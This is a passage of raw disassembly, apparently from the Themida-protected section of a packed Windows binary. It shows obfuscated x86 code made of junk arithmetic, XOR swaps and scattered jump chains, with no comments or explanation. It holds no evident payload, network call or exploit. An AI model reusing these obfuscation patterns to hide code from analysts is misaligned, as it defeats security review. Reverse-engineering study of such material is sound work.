jmp loc_56E9C9
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_5619E2
; ---------------------------------------------------------------------------
loc_562265: ; CODE XREF: Themida_:00564F10j
mov edx, esp
add edx, 4
jmp loc_55D516
; =============== S U B R O U T I N E =======================================
sub_562272 proc near ; CODE XREF: sub_560B67+1336j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C6FA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055EE65 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00563D95 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00566A89 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056CB2D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F675 SIZE 00000029 BYTES
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp+4+var_4]
xor [esp+4+var_4], ebx
xor ebx, [esp+4+var_4]
jmp loc_56CB2D
sub_562272 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56228C: ; CODE XREF: sub_56755A+8645j
add eax, 181A6B62h
jmp loc_56988B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562296: ; CODE XREF: Themida_:0055EFA9j
xor ecx, 0B6D60DFh
sub ecx, 1
sub ecx, 3DB64B3h
xor ecx, 9A011D01h
add ebp, ecx
pop ecx
jmp loc_5637BF
; =============== S U B R O U T I N E =======================================
sub_5622B3 proc near ; CODE XREF: sub_56755A+990j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00565A19 SIZE 00000014 BYTES
push ebx
push esp
mov ebx, [esp+8+var_8]
add esp, 4
add ebx, 4
push edi
mov edi, 4
sub ebx, edi
pop edi
jmp loc_565A19
sub_5622B3 endp
; ---------------------------------------------------------------------------
mov ax, [esp]
push 636Eh
mov [esp], eax
push ebp
mov ebp, esp
add ebp, 4
jmp loc_565DAB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5622E9: ; CODE XREF: sub_56755A+2010j
pop ebp
mov ebx, [esp+18h+var_18]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+1Ch+var_1C]
pop esp
jmp loc_55D089
; ---------------------------------------------------------------------------
loc_562305: ; CODE XREF: sub_56755A+1FFCj
add esi, 7C602270h
sub esi, 5054548h
mov edi, [esp+18h+var_18]
add esp, 4
add ebx, 426E7CC7h
add ebx, esi
sub ebx, 426E7CC7h
jmp loc_55DCF5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56232D: ; CODE XREF: Themida_:0056A09Fj
mov edx, 720F52FDh
jmp loc_56F238
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_562337: ; CODE XREF: sub_56E89A-3BD6j
add ecx, 4
sub ecx, 4
xchg ecx, [esp+4+var_4]
jmp loc_563F71
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_562348: ; CODE XREF: Themida_:0056FEEEj
sub ecx, 97E3229h
jmp loc_56EE34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562353: ; CODE XREF: sub_56755A+61Fj
and edi, 585C4F5Ah
not edi
sub edi, 0B07DA696h
add eax, edi
pop edi
sub eax, ecx
jmp loc_5663A0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56236B: ; CODE XREF: sub_55CD7B+12458j
pop ebx
sub esp, 4
jmp loc_56F861
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
loc_562374: ; CODE XREF: Themida_:0056EAE5j
pop edx
mov edx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
add edx, eax
pop eax
jmp loc_56CB9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562386: ; CODE XREF: sub_56755A-7B81j
pop eax
inc ecx
add ecx, 3DC01D28h
jmp loc_56AE94
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562393: ; CODE XREF: Themida_:0055E10Bj
sub ebx, 3FC87302h
sub ebx, eax
jmp loc_56E321
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5623A0: ; CODE XREF: sub_56755A+4D7j
mov esp, [esp-14h+arg_10]
jmp loc_564A0F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5623A8: ; CODE XREF: Themida_:0056396Ej
sub edx, 0DB3C05C6h
jmp loc_56EAE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A9
loc_5623B3: ; CODE XREF: sub_5687A9+Cj
mov edx, 3E395E7Ch
jmp loc_570149
; END OF FUNCTION CHUNK FOR sub_5687A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5623BD: ; CODE XREF: sub_56755A+1A22j
and esi, 6A022B68h
add esi, 3F052BE9h
push 69A6h
mov [esp-10h+arg_C], edx
jmp loc_562FFF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5623D6: ; CODE XREF: Themida_:0055E7E2j
xor [esp], ebp
jmp loc_5687FD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_5623DE: ; CODE XREF: sub_5615A9-5456j
mov ch, 26h
xor ch, 0CCh
add al, ch
pop ecx
push edx
jmp loc_570376
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
loc_5623EC: ; CODE XREF: Themida_:005634A7j
pop eax
jmp loc_56E5DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5623F2: ; CODE XREF: sub_56755A-5023j
pop ecx
pop eax
push ebx
jmp loc_5690C0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5623FA: ; CODE XREF: Themida_:0055C2C5j
sub ebx, edi
mov edi, [esp]
add esp, 4
pop ebp
jmp loc_55F238
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562408: ; CODE XREF: sub_56755A+143j
pop ebp
add ebx, 608871EBh
add ebx, ebp
jmp loc_566C50
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562416: ; CODE XREF: Themida_:0056928Cj
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
push 3809h
mov [esp], eax
jmp loc_568ECD
; ---------------------------------------------------------------------------
loc_562430: ; CODE XREF: Themida_:0056ECC3j
push esp
mov edx, [esp]
push 1395h
mov [esp], ebp
mov ebp, esp
push esi
jmp loc_563835
; ---------------------------------------------------------------------------
loc_562444: ; CODE XREF: Themida_:0055C6F5j
not esi
add esi, 0FFFFFFFFh
xor esi, 0BC919CDBh
push edi
push ebx
push ecx
mov ecx, 20555FD3h
shl ecx, 8
jmp loc_56185B
; =============== S U B R O U T I N E =======================================
sub_562462 proc near ; CODE XREF: sub_56755A-1C9Cj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055DED1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005659D6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005699E6 SIZE 00000005 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
jmp loc_5659D6
sub_562462 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56246D: ; CODE XREF: sub_56755A+7D2j
push eax
push esp
pop eax
add eax, 4
add eax, 4
xor eax, [esp-14h+arg_10]
xor [esp-14h+arg_10], eax
xor eax, [esp-14h+arg_10]
jmp loc_56AA68
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562488: ; CODE XREF: Themida_:005671E1j
add edi, 4
jmp loc_55C3AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DC6
loc_562490: ; CODE XREF: sub_566DC6+25j
sub ebp, 0B58287B6h
and ebx, ebp
pop ebp
sub ebx, 1
jmp sub_565B25
; END OF FUNCTION CHUNK FOR sub_566DC6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5624A4: ; CODE XREF: sub_56755A-74C3j
push 3B1Fh
jmp loc_562CA7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5624AE: ; CODE XREF: Themida_:0056C3DEj
mov ebp, 2E391E5Eh
neg ebp
dec ebp
jmp loc_562145
; ---------------------------------------------------------------------------
loc_5624BB: ; CODE XREF: Themida_:005607C5j
pop esp
jmp loc_56BE59
; ---------------------------------------------------------------------------
loc_5624C1: ; CODE XREF: Themida_:0056E2A5j
add esp, 4
jmp loc_55E215
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5624CC: ; CODE XREF: sub_56755A+7E4Dj
mov eax, edx
sub esp, 4
mov [esp+10h+var_10], esi
mov esi, eax
mov ecx, esi
pop esi
pop eax
jmp loc_563C5D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5624DF: ; CODE XREF: Themida_:00563B50j
pop esp
add esp, 4
push dword ptr [eax]
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_5624ED: ; CODE XREF: sub_56CEC8-6F67j
mov dl, 3Bh
xor bl, dl
mov edx, [esp+0]
add esp, 4
dec bl
push eax
mov ah, 9Ah
or ah, 1Ch
jmp loc_5686BA
; END OF FUNCTION CHUNK FOR sub_56CEC8
; ---------------------------------------------------------------------------
loc_562504: ; CODE XREF: Themida_:00567496j
pop esi
pop edi
jmp loc_56A042
; =============== S U B R O U T I N E =======================================
sub_56250B proc near ; CODE XREF: sub_56755A-6822j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055D54C SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00562DF6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00563EB9 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00565F5A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D97F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056EC01 SIZE 0000000B BYTES
push ebp
mov bp, 1274h
add bp, 507Ch
push ax
mov ax, 522h
sub bx, ax
pop ax
sub bx, 6793h
sub bx, bp
add bx, 6793h
jmp loc_562DF6
sub_56250B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562532: ; CODE XREF: sub_56755A+6910j
push ecx
mov ch, al
mov dl, ch
jmp loc_5623F2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E931
loc_56253C: ; CODE XREF: sub_55E931+105C8j
shr ecx, 7
push 23D4h
mov [esp+4+var_4], ebx
push [esp+4+var_4]
jmp loc_562C1F
; END OF FUNCTION CHUNK FOR sub_55E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56254F: ; CODE XREF: sub_56755A+75C1j
push ecx
jmp loc_564F6D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_562555: ; CODE XREF: sub_568D4B-A5D3j
mov dh, bl
pop ebx
pop ecx
push ecx
mov cl, dh
mov [edi+eax*4+1], cl
pop ecx
push dword ptr [esp+0]
pop edx
push ebx
mov ebx, esp
add ebx, 4
push ecx
jmp loc_5684E3
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_56CF7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56257D: ; CODE XREF: sub_56755A-6DEAj
add [esp+8+var_4], ebx
jmp loc_56FF9D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EC76
loc_562586: ; CODE XREF: sub_55EC76+18j
mov [esp+0], edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
sub edx, ebp
pop ebp
xor edx, [esp+0]
xor [esp+0], edx
xor edx, [esp+0]
mov esp, [esp+0]
mov [esp-4+arg_0], ebp
push esi
mov esi, 0A037934h
push edi
jmp loc_564716
; END OF FUNCTION CHUNK FOR sub_55EC76
; ---------------------------------------------------------------------------
loc_5625B5: ; CODE XREF: Themida_:0055FED3j
pop ebx
dec dl
push ecx
push ebx
jmp loc_5617C5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5625BF: ; CODE XREF: sub_56755A-5E84j
mov edi, [esp+14h+var_14]
add esp, 4
jmp loc_56D9E3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5625CD: ; CODE XREF: Themida_:0056A9CDj
pop esp
mov [esp], cx
jmp loc_55CF47
; ---------------------------------------------------------------------------
loc_5625D7: ; CODE XREF: Themida_:0056C8DCj
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5625DC: ; CODE XREF: sub_56755A+8E58j
mov ecx, 552D552Fh
shr ecx, 3
neg ecx
not ecx
or ecx, 72055A2Fh
jmp loc_56B79B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5625F3: ; CODE XREF: Themida_:0055D5DBj
sub esp, 4
mov [esp], esi
push ebx
push esp
mov ebx, [esp]
add esp, 4
jmp loc_5648AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562609: ; CODE XREF: sub_56755A-2FCFj
push [esp+10h+var_10]
pop eax
jmp sub_560184
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_562612: ; CODE XREF: sub_562F50-15A9j
add eax, 52DF7B69h
pop edi
jmp loc_565830
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56261D: ; CODE XREF: sub_56755A+1791j
add esp, 4
jmp loc_56A56E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562625: ; CODE XREF: Themida_:005641E8j
pop esi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55D172
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562631: ; CODE XREF: sub_56755A+87E5j
pop eax
inc eax
shr eax, 5
and eax, 2E9623CEh
jmp loc_55BD3D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A468
loc_562640: ; CODE XREF: sub_56A468+6D4j
sub ecx, ebp
pop ebp
sub eax, 52AB339Dh
add eax, 47EE7D32h
sub eax, ecx
sub eax, 47EE7D32h
push ebx
mov ebx, 52AB339Dh
add eax, ebx
pop ebx
pop ecx
jmp loc_562DEB
; END OF FUNCTION CHUNK FOR sub_56A468
; ---------------------------------------------------------------------------
loc_562663: ; CODE XREF: Themida_:00563A3Cj
xchg edx, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_5619AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_562671: ; CODE XREF: sub_55FDEF-1159j
push edx
push esp
jmp loc_560125
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673DF
loc_562678: ; CODE XREF: sub_5673DF-99D6j
add esp, 4
push ebp
mov ebp, 6E6A5407h
xor ebp, 6E6A5403h
push edx
mov edx, 3E42A90h
add ebx, edx
pop edx
add ebx, 5A6631E6h
add ebx, ebp
jmp loc_56F983
; END OF FUNCTION CHUNK FOR sub_5673DF
; ---------------------------------------------------------------------------
loc_56269D: ; CODE XREF: Themida_:00564F68j
pop edx
dec dh
sub dh, 4
xor bh, dh
jmp loc_567575
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C024
loc_5626AA: ; CODE XREF: sub_56C024+9j
push esp
pop ecx
push ebx
mov ebx, 652C4F53h
jmp loc_56DB6E
; END OF FUNCTION CHUNK FOR sub_56C024
; ---------------------------------------------------------------------------
loc_5626B7: ; CODE XREF: Themida_:0056A044j
sub eax, 372F727Ch
jmp loc_55C125
; ---------------------------------------------------------------------------
loc_5626C1: ; CODE XREF: Themida_:0056738Dj
sub ebx, 7F3F6BDDh
mov ebp, ebx
pop ebx
push edx
push ebp
jmp loc_56209E
; ---------------------------------------------------------------------------
loc_5626D1: ; CODE XREF: Themida_:0055FB4Aj
sub esp, 4
mov [esp], ecx
mov cl, 19h
push eax
mov al, 67h
inc al
or al, 8Fh
shr al, 7
sub esp, 4
mov [esp], ebx
mov bh, 47h
or bh, 0FCh
not bh
inc bh
dec bh
sub bh, 72h
jmp loc_566EF8
; ---------------------------------------------------------------------------
loc_5626FF: ; CODE XREF: Themida_:00565194j
add edi, 4
sub esp, 4
mov [esp], ecx
mov ecx, 4
sub esp, 4
mov [esp], ebp
push edi
mov edi, 494071EEh
xor edi, 4DA0BC7h
or edi, 220A2BF3h
sub edi, 65AA1BEDh
add edi, 743848FCh
sub edi, 27419CE6h
jmp loc_563281
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562742: ; CODE XREF: sub_56755A+55Cj
mov [esp+8+var_8], ebx
push esp
mov ebx, [esp+0Ch+var_C]
add esp, 4
add ebx, 4
sub ebx, 4
xchg ebx, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov [esp+8+var_8], ecx
mov ecx, 79BF2E52h
jmp sub_564E24
; ---------------------------------------------------------------------------
loc_562768: ; CODE XREF: sub_56755A-5579j
mov ecx, 86116B8h
add ecx, 1F06F25Dh
jmp loc_567431
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push dx
mov dl, cl
jmp loc_56159A
; ---------------------------------------------------------------------------
loc_562781: ; CODE XREF: Themida_:005661CFj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
xor edx, ebx
pop ebx
jmp loc_55FB41
; ---------------------------------------------------------------------------
loc_562799: ; CODE XREF: Themida_:00560426j
push ecx
mov ecx, 2C550282h
jmp loc_55EFA2
; ---------------------------------------------------------------------------
loc_5627A4: ; CODE XREF: Themida_:0056B2BEj
push ebp
mov ebp, 6BBC5E1Ah
sub ebp, 716F3AC6h
or ebp, 39896411h
dec ebp
xor ebp, 88CA79B7h
sub edx, ebp
pop ebp
pop esi
add ebp, edx
jmp loc_5627E8
; ---------------------------------------------------------------------------
loc_5627C8: ; CODE XREF: Themida_:00570554j
mov edi, 43300665h
jmp loc_5651EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5637DB
loc_5627D2: ; CODE XREF: sub_5637DB+A82Bj
inc edi
push eax
jmp loc_569686
; END OF FUNCTION CHUNK FOR sub_5637DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5627D9: ; CODE XREF: sub_56755A+7FA5j
mov esi, 1
sub ecx, esi
pop esi
xor esi, ecx
jmp loc_56510D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5627E8: ; CODE XREF: Themida_:005627C3j
pop edx
jmp loc_56A7B9
; ---------------------------------------------------------------------------
loc_5627EE: ; CODE XREF: Themida_:0056372Ej
mov [esp], ebp
push ebx
push eax
mov eax, 8377D23h
mov ebx, 5BF2F27Dh
add ebx, eax
pop eax
mov ebp, 3199C88h
add ebp, ebx
mov ebx, [esp]
add esp, 4
sub eax, ebp
pop ebp
push dword ptr [esp]
pop ecx
jmp loc_565C63
; ---------------------------------------------------------------------------
loc_562819: ; CODE XREF: Themida_:005603AAj
and ecx, 7AF84BD4h
xor ecx, 12756C08h
push ebp
push eax
mov eax, 7E15517Ch
jmp loc_56B029
; ---------------------------------------------------------------------------
loc_562831: ; CODE XREF: Themida_:0055BAE2j
sub eax, ecx
jmp loc_560FC8
; ---------------------------------------------------------------------------
loc_562838: ; CODE XREF: Themida_:0056ABBDj
push 4D94h
mov [esp], edx
mov edx, 4
add ebp, 61E96CB3h
add ebp, edx
sub ebp, 61E96CB3h
pop edx
jmp loc_56D238
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_562859: ; CODE XREF: sub_56E89A-421Cj
add ebp, 4
push ebp
push [esp+14h+var_10]
jmp loc_56A993
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_562866: ; CODE XREF: Themida_:00569EFDj
sub ecx, 0F204463h
mov eax, [esp]
jmp loc_57051F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DD27
loc_562874: ; CODE XREF: sub_55DD27+25j
sub ebx, eax
pop eax
add ebp, ebx
jmp loc_565902
; END OF FUNCTION CHUNK FOR sub_55DD27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560483
loc_56287E: ; CODE XREF: sub_560483+AAD5j
add esi, 4F342A36h
sub ebx, esi
pop esi
jmp loc_56624E
; END OF FUNCTION CHUNK FOR sub_560483
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_56288C: ; CODE XREF: sub_5635DE+33j
mov ebx, 68C222ADh
xor edx, ebx
pop ebx
or ecx, ecx
jz loc_5686C7
push ecx
mov ecx, esp
push ebx
push esi
mov esi, 2DB97C6Ch
mov ebx, esi
pop esi
neg ebx
xor ebx, 6FAD343Dh
and ebx, 75C50B95h
jmp loc_568D8D
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
loc_5628BC: ; CODE XREF: Themida_:0056A829j
push edi
mov edi, 7E787E06h
add edi, 2A550EC7h
shl edi, 3
xor edi, 47B56E3h
jmp loc_56AEAB
; ---------------------------------------------------------------------------
loc_5628D6: ; CODE XREF: Themida_:0055E9B6j
push edi
sub esp, 4
mov [esp], eax
mov eax, 4E0C79BFh
push edx
mov edx, 684B61BFh
and eax, edx
jmp loc_5649A9
; ---------------------------------------------------------------------------
loc_5628F2: ; CODE XREF: Themida_:00564556j
push 4F50h
mov [esp], esi
jmp loc_56F18A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_5628FF: ; CODE XREF: sub_55FDEF-E0Aj
add eax, esi
pop esi
pop esi
jmp loc_56B021
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_562908: ; CODE XREF: Themida_:0056B20Fj
add edi, esi
pop esi
push ebp
mov ebp, esp
add ebp, 4
push eax
jmp loc_55CADE
; ---------------------------------------------------------------------------
loc_56291A: ; CODE XREF: Themida_:0055BD30j
add ecx, 4
jmp loc_567FB1
; ---------------------------------------------------------------------------
loc_562925: ; CODE XREF: Themida_:0055D460j
push 62AAh
jmp loc_55C199
; ---------------------------------------------------------------------------
loc_56292F: ; CODE XREF: Themida_:00562BB5j
push eax
sub esp, 4
mov [esp], ecx
jmp loc_55F2E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56293B: ; CODE XREF: sub_56755A-393Fj
xor edx, [esp+8+var_8]
xor [esp+8+var_8], edx
xor edx, [esp+8+var_8]
jmp loc_55D42A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562949: ; CODE XREF: Themida_:005668E1j
add esp, 4
sub ecx, 0D529E996h
push edx
mov edx, ecx
mov esi, edx
pop edx
jmp loc_5681EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56295D: ; CODE XREF: sub_56755A+4256j
mov ecx, [esp+8+var_8]
add esp, 4
push small word ptr [eax]
jmp loc_56E155
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570668
loc_56296B: ; CODE XREF: sub_570668-7198j
pop eax
jmp loc_566362
; END OF FUNCTION CHUNK FOR sub_570668
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FE13
loc_562971: ; CODE XREF: sub_55FE13+3j
push eax
mov al, 1Eh
dec al
xor al, 0FCh
push bx
mov bh, 55h
add al, 0D7h
sub al, bh
sub al, 0D7h
pop bx
jmp loc_56450E
; END OF FUNCTION CHUNK FOR sub_55FE13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_562989: ; CODE XREF: sub_56F7FC-27F4j
mov ecx, 14B248Bh
jmp loc_560AEF
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562993: ; CODE XREF: sub_56755A-30BFj
xor ebx, ebp
pop ebp
xor eax, ebx
pop ebx
add ebp, eax
jmp loc_563232
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5629A0: ; CODE XREF: Themida_:005632E9j
push dword ptr [esp+4]
push dword ptr [esp]
pop edx
add esp, 4
pop dword ptr [esp]
jmp loc_56DF97
; ---------------------------------------------------------------------------
loc_5629B3: ; CODE XREF: Themida_:00563408j
add [esp+4], esi
pop esi
jmp loc_56F608
; ---------------------------------------------------------------------------
loc_5629BD: ; CODE XREF: Themida_:0056D3D1j
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_5611CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_5629CE: ; CODE XREF: sub_55CD7B+273Aj
pop edx
jmp loc_55E0A3
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5629D4: ; CODE XREF: sub_56755A+9045j
or eax, ebp
jmp loc_56CE69
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5600E2
loc_5629DB: ; CODE XREF: sub_5600E2-9DFj
sub ebx, eax
sub ebx, 34954F51h
sub ebx, 132E3109h
mov eax, [esp+8+var_8]
add esp, 4
jmp loc_56B0F7
; END OF FUNCTION CHUNK FOR sub_5600E2
; ---------------------------------------------------------------------------
loc_5629F7: ; CODE XREF: Themida_:0056BF54j
mov [esp], ebx
mov ebx, 4
jmp loc_56AEDC
; ---------------------------------------------------------------------------
loc_562A04: ; CODE XREF: Themida_:00570765j
mov edi, 10351C3Ch
add eax, edi
pop edi
sub eax, 4D75EDh
sub eax, 296362CBh
sub eax, 2C134C99h
add eax, ebp
jmp loc_56ABEE
; ---------------------------------------------------------------------------
loc_562A22: ; CODE XREF: Themida_:0055E09Ej
pop ebx
pop dword ptr [esp]
jmp loc_56A3F5
; ---------------------------------------------------------------------------
loc_562A2B: ; CODE XREF: Themida_:0056F424j
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
jmp loc_55D218
; ---------------------------------------------------------------------------
loc_562A3A: ; CODE XREF: Themida_:0056579Dj
add edi, eax
jmp loc_560B6D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562A41: ; CODE XREF: sub_56755A-565Fj
pop cx
xor bl, al
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_565307
; ---------------------------------------------------------------------------
loc_562A59: ; CODE XREF: sub_56755A-85F3j
pop edi
xchg ecx, [esp+24h+var_24]
mov esp, [esp+24h+var_24]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_562A65: ; CODE XREF: sub_56755A+52C9j
pop edi
push edi
mov edi, esp
add edi, 4
jmp sub_5600E2
; ---------------------------------------------------------------------------
loc_562A74: ; CODE XREF: sub_56755A-B323j
mov ecx, 32312457h
push ebp
jmp loc_55E0E9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_562A7F: ; CODE XREF: sub_56971C-6C53j
add esp, 4
shr eax, 4
push esi
push 0F9CF558Bh
jmp loc_56CD1B
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562A90: ; CODE XREF: sub_56755A-AD7Dj
neg ebx
push ebp
jmp loc_56E1A8
; ---------------------------------------------------------------------------
loc_562A98: ; CODE XREF: sub_56755A+9056j
xchg eax, [esp-4+arg_0]
jmp loc_56A1C8
; ---------------------------------------------------------------------------
loc_562AA0: ; CODE XREF: sub_56755A+11Fj
add edi, 4
jmp loc_55F21E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562AAB: ; CODE XREF: Themida_:0056B749j
pop ebx
add edx, ecx
pop ecx
xor edx, 0CBAB98EBh
add ecx, edx
pop edx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_55D993
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_562AC6: ; CODE XREF: sub_56971C-4E38j
mov edi, [esp+0Ch+var_C]
jmp loc_562A7F
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
loc_562ACE: ; CODE XREF: Themida_:00568503j
xchg eax, [esp]
